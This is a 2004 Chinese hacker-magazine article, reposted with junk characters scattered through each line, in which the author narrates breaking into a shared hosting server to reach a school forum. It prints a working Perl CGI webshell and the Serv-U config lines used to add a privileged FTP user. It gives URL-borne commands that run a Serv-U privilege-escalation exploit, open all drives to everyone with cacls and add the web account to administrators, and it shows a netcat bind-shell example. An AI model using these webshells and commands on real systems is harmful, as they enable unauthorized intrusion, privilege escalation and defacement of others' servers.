剑走偏锋——灵巧的旁注攻击
/ l( C! C% `7 E本文作者:angel
. i8 Q. N' e) m+ }5 Q8 p文章性质:原创 T7 k2 A& z+ L8 w3 j
发布日期:2004-11-09
& ~% i& v1 i5 ^5 q- @/ j9 x7 |+ s注意: E" B2 Q3 \# Q6 K" O
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, `! f' H0 o0 o6 I, @( ]
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
9 t9 a1 p; U- ]$ `3 \) |& H; D) X5 M0 H2 E2 V
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 % N& [ |; C4 F- ~" \5 }6 ]! Y5 S7 I3 D
$ O& T; i0 V+ b1 B" m1 [$ C& n2 S
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 3 X5 l% P: t) i! g& t5 N' {% {
5 Z" s* d1 S0 r( e0 F 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 / v! u+ v m6 [$ {
: ?2 b3 W9 D f* L+ R- a5 k 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
9 Z, K& [( n* Q, h, y6 z2 U; W3 ]6 U# K+ {( V; J
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
. K* a: t: T/ F( k8 Q
! \" k8 C0 y" _8 V, | 没有目的的跳转目录着…… 5 m2 `# e0 Z6 n0 G1 H2 m. R/ v
8 d& o& F; t# g& d/ G4 P. ^9 Y
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 0 |% f3 k" e5 A6 V U3 V
% b$ C$ M1 [. ~' u$ G: S; ^
结束了吗?不,我试着 FTP 一下: % y* {8 O- s$ z" F3 X" c& C. I
/ p9 c5 S9 q1 W1 o- Y5 \Microsoft Windows 2000 [Version 5.00.2195]
( J" j* |$ m" F' r(C) 版权所有 1985-2000 Microsoft Corp. ! B3 Z* `; \! D8 Q9 L g; D( N
' R# y) A( S5 i' W5 P7 V3 e
C:\Documents and Settings\Administrator>ftp www.school.com1 z3 P1 j) d4 m8 d
Connected to www. school.com.
* Z, u/ U% X' ]' }- f, G, v220 Welcome to FTP Server... 7 ~+ W# a4 V5 e8 S$ h! P3 X
User (www.bjtrq.com:(none)):
( W$ a; |4 l' B' I331 User name okay, need password.
6 K& A- u: H9 j" ]Password:
2 I* f' y5 a& j% R* q8 ~530 Not logged in. ! E7 R8 v# R4 I6 g) i% R3 t
Login failed. 2 B* a& ~7 [/ @( o* ~
ftp> bye
1 W0 J9 S! T5 A221 Goodbye!
! G3 V9 b5 T: P4 f+ r& h & w% A% w" c" r; w6 o4 U7 i y- U7 F
+ _7 [0 l+ q' Q$ z
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
5 A3 ?5 z# v2 P2 v) Q- M2 i" l& D: a w7 V1 Q2 A
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
) v7 t; e$ t. E+ n8 J. ~, j& ^1 {
+ A! ^6 V |) @9 _ IApplication Data
3 `: l! s% f+ L4 u+ O; M" jDocuments
6 i D. W- l+ T" `DRM
; p" k3 c$ `0 w8 X& D# s. p; oFavorites
7 A( W: s- F% ]3 J- x( OTemplates
1 E$ R- M1 l1 m0 ]( K「开始」菜单
) `0 {; ]- d5 Y( h桌面
, U& c4 o. C1 S. H * z* y- N2 u; a+ g2 w
( m/ E& v, O# y7 c r; V 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
/ {, [% J7 Y s4 ~" M7 {" [0 [( F& l$ T
8 ]+ I$ c: A* G: \+ ] {ActiveState ActivePerl 5.8 r G3 T- Y. T4 w8 y2 i9 ^
Administrative Tools
; N& E( y, K. q" o$ y7 z! H5 E& PDeerfield.com6 L) j# U. N0 A
DTemp
2 C- D$ T/ o$ `. A4 SIPSentry
' S. a i( S1 ^# U! O2 B3 Z5 cMBM 5$ h4 a; {- a, U1 @
NetMeter
2 o' z2 [# R8 K9 ^5 `Network ICE5 o6 \; j6 q" o: h' ]# c+ v. z! J
Persits Software AspEmail
) b _' T$ p9 O# g! n) UPersits Software AspJpeg
7 F# B# w, \( b* D1 l, GServ-U FTP Server
' S- ]4 k2 _3 P* r$ h8 @9 T$ XSymantec Client Security
9 ^- f( a( e- NWindows 优化大师6 K5 G# G! w# U+ P
WinRAR
( s0 I( q% N/ O, @& j+ P6 L* g" \启动0 V9 q1 ~: g: Y5 a( N9 \
管理工具& ~5 |* B& ~5 }8 m8 C
附件& e* p( L2 d- u1 @! w3 p4 G% h9 F
2 M3 B0 X! k7 x! n& Y" v/ j
4 f6 W; i. W/ c, j! m$ k; k
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
! P; }! P& T4 x: U5 H7 E q/ A
# d/ d, r& S& M# o) _6 x* ]% y 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
( e: ^( f S+ M& E8 T8 M* m( h% ?( w* [
User281=angel|1|0 % `3 {' \) K9 R/ R
$ r2 O# ]# b2 @2 n
- o! M3 ?% g' |8 E% v0 H 然后加上 1 A0 i4 o. N* m' N0 U. d
& D& N( F5 W: _8 G
[USER=angel|1]
. \& {$ H3 Y5 N- U- a( `" p vPassword=ng98F85379EA68DBF97BAADCA99B69B805
, u8 y9 S; v Y3 q( o& m6 SHomeDir=D:\websites
7 V/ R# J8 v* m2 }1 I) e9 YRelPaths=1! \( z9 Y& z% t/ W+ n. g* R2 a8 g
TimeOut=600
) D* {. m7 ]5 q: y; T' FMaintenance=System
* x2 j) I- B s" m5 VAccess1=D:\websites|RWAMELCDP
5 \" i/ `: v. _8 w, Z( B+ `SKEYValues=
2 Z2 Z6 }! h0 k1 m- \ / J* P* e. ]" @8 r' l: _! X4 r7 v4 h2 J
+ x% o' u" S; R7 L( u/ l# P v
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
' Z& K1 d4 T X' J0 T- U
- q7 }0 R+ h6 x- _ 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 + c7 \; C/ n; `
) K! O/ i0 a" [8 {; Z6 y( s% f 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
/ r% x2 Y9 k0 w L
Z. S6 b7 d) C4 d3 ^% E& V 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' v, y0 Z7 z' ?& `6 x Z5 v) N3 L1 N$ ]/ Y. }; t! s3 n3 B2 @/ m
#!/usr/bin/perl
' z' `% R9 p0 q6 ibinmode(STDOUT);7 E$ E2 i5 A# U/ Q) o( i
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);/ s2 Q3 @0 s8 @! @% P
$_ = $ENV{QUERY_STRING};0 _2 ]' {6 g k/ f) _$ ?& `% q
s/%20/ /ig;2 r: t2 T7 Q4 y
s/%2f/\//ig;" q& h% S# \$ t* g
$execthis = $_;9 E6 W- f) z7 q, I$ V+ \& P
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
2 F- |6 T3 U$ u4 B. yopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";7 J7 F t0 R R- c
system($execthis);9 q$ p4 Q, c0 E, y l, K
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);$ O8 w, s1 k1 R% \; M6 G7 n
close(STDERR);" c$ B. X$ {( n& r, A
close(STDOUT);
# T3 e; h/ m& S! e3 {3 ]exit;
$ G+ ^; s4 S- d- D6 \
0 j7 C. H6 P6 k# B6 h5 W6 d/ w q6 S6 s `7 h, M" d% Q
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
+ o" q& G# y" M% D7 K
8 |* d% k7 U7 ^2 ?$ M3 n1 ~ 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ! e' N+ D' a( d! `/ K
- l3 R- f& O) I; t) \6 Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe
3 Z- q: W/ q" K: n4 I 5 |8 b, A5 z2 G: I% d8 u: r
- q2 |' w( a* o6 A 返回: & }: p A! s( l7 ]- e
7 B4 _9 |- D0 b' Q" x" a& hServ-u >3.x Local Exploit by xiaolu , P% c+ r1 c& y% _1 Q
! B, O3 R# D+ N2 N5 o: z4 ^USAGE: serv-u.exe "command" 3 F! f( H6 O, l
0 A& w1 K# t! `
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
3 X+ P. A9 z0 G2 [+ r7 w+ q
- [4 }; ]/ G6 t: ^9 F
# X0 Q) M4 r# X( ^" |0 E 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) U5 p$ [+ o4 l1 p; B1 S
3 h4 N- S* n# t! \2 \: phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" * b+ @. |. ~% H I) G! M6 R
3 m0 ]3 ~& X1 uhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" : R( S2 Z- h8 @
- q! }1 d1 v8 N: T) p- @5 o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" " s, H2 @' s0 h+ h
) Z' Z" h6 d8 E, [ z3 shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
: P/ U2 ~2 Z3 v5 Y/ W / a* E* e6 V6 R f
" L z2 H! c! Y 返回下面的信息,就表示成功了!!!
$ g( ^4 x' _) U
1 Z$ w- ? ?9 B* q2 i3 {Serv-u >3.x Local Exploit by xiaolu
# ]9 ~% Z% m, x" q. }* v2 F4 R7 s# h4 C" Z# k# R
<220 Serv-U FTP Server v5.2 for WinSock ready...
! o2 X" a* u0 V0 E8 c, e' q p. p1 s# O- w$ Q/ L
>USER LocalAdministrator % c; N( b+ h$ G+ q: {
' N. z/ D" E5 e8 s1 S0 V. x: W<331 User name okay, need password.
! y# x' C5 R$ J0 ]
$ O1 s9 d* Q) @1 w5 k7 n# p1 o8 K" @****************************************************** , E* E3 A! E( ^* s/ M6 @! s' _2 H
; H" b( p: p% g* l) [0 ^' K
>PASS #l@$ak#.lk;0@P
5 ?% } I4 D9 @ k. v7 e; c W
) }# J2 D# U5 A+ _4 f<230 User logged in, proceed. + h+ r. ~! P3 Q, j v
. U- C/ C' y2 n+ g3 U% s
****************************************************** & g+ T0 m. T- _: x$ z8 P' Y- E
+ M" O, l# h4 F( Z3 a p
>SITE MAINTENANCE 5 f) h# a2 @+ m
% m' C& V7 D- s# @******************************************************
- y2 B% o+ r2 A5 ]9 f* x4 \3 W2 E
5 D: E! f. m2 G2 G! a[+] Creating New Domain...
8 E0 O9 t2 n0 V- T
% T5 I" g" {/ |/ \+ L# H<200-DomainID=2 & @* `5 y* A: C- w( L1 k
# k# ~' _: }7 ?# H9 s<220 Domain settings saved 7 X# H: H0 ^* ?6 Q/ H( C+ A
" u2 X* |8 A' [7 F w. o% m; T******************************************************
5 d" ]3 K6 P6 z4 t8 b
$ ?, K( o- j) d7 _% P* A- I. E[+] Domain xl:2 Created
0 r+ u: O* M# ]
7 Y$ {1 w+ ]: H; A6 a; F" Y1 j% ]/ t7 [[+] Creating Evil User b7 Y/ u" A l* b" q
/ O `0 X( U+ r7 y* u4 y* L<200-User=xl 2 _: `* J% g/ }4 {5 d8 |$ I/ p
0 \+ s L& l* {; i/ z5 ]. L
200 User settings saved : z3 U. F3 H7 \3 z
; Z% F3 b! @! d# Y9 u
****************************************************** 5 s" Q7 f3 u' ]5 r$ T1 ? @2 a
+ n4 r0 U4 c$ ~1 w; a( t
[+] Now Exploiting...
' m4 U" h/ u+ I" z; q; y: H( P" W+ B
>USER xl , ?* S, L' a$ w6 Y" j: ^
0 ~( V8 X0 ~( f% f5 d" T<331 User name okay, need password. 9 O( n/ U8 Y2 \: n6 |! m, ~4 l
* K- {; t. v; R9 B) j
******************************************************
& T+ l# p3 z0 w3 ]% t3 ]% L0 Z4 ]$ T
>PASS 111111 + L' w6 U0 ?7 W4 G6 e( C4 m
! A" P, d3 D- P" ?5 h' p
<230 User logged in, proceed.
6 A( |" N5 ?/ o: B: @
: b/ v1 o9 P$ \6 Z' [+ j& h) z******************************************************
3 C/ m8 Y# m; n# ~4 Q+ c6 V6 X
! x1 P! `8 Q1 G# G6 E8 }$ {1 Y[+] Now Executing: cacls.exe c: /E /T /G everyone:F ( M1 x7 w4 o0 E: W+ J
4 P: a! Z* A- h# @! R j( {" ^
<220 Domain deleted ( y5 X# o, S& O9 O* v* |
/ o" t% i" }# ]) ?5 J, N****************************************************** : r- W- R0 i9 k+ {' t5 w
- o6 B0 S4 B E
4 d! c) q7 i1 }! ~1 w$ M% }/ ?5 g% L 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ' m0 e% J6 k5 D) h& S; L# D
- L) Z$ f! \7 u+ ~ Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
/ v# f/ E2 u( ~ 6 `% Y* @ x2 f+ @* _
# d! a9 h$ o5 j; H; Q+ h
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
1 t9 G1 ]+ ~% `$ C* d
) l: @+ m9 f2 z6 U. x; B 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。/ X# z0 }& n; ]) W9 S1 z9 P3 h
0 h" g6 x4 z( U: B* c5 p } # ?, K" R7 ^/ F; o) A* A
|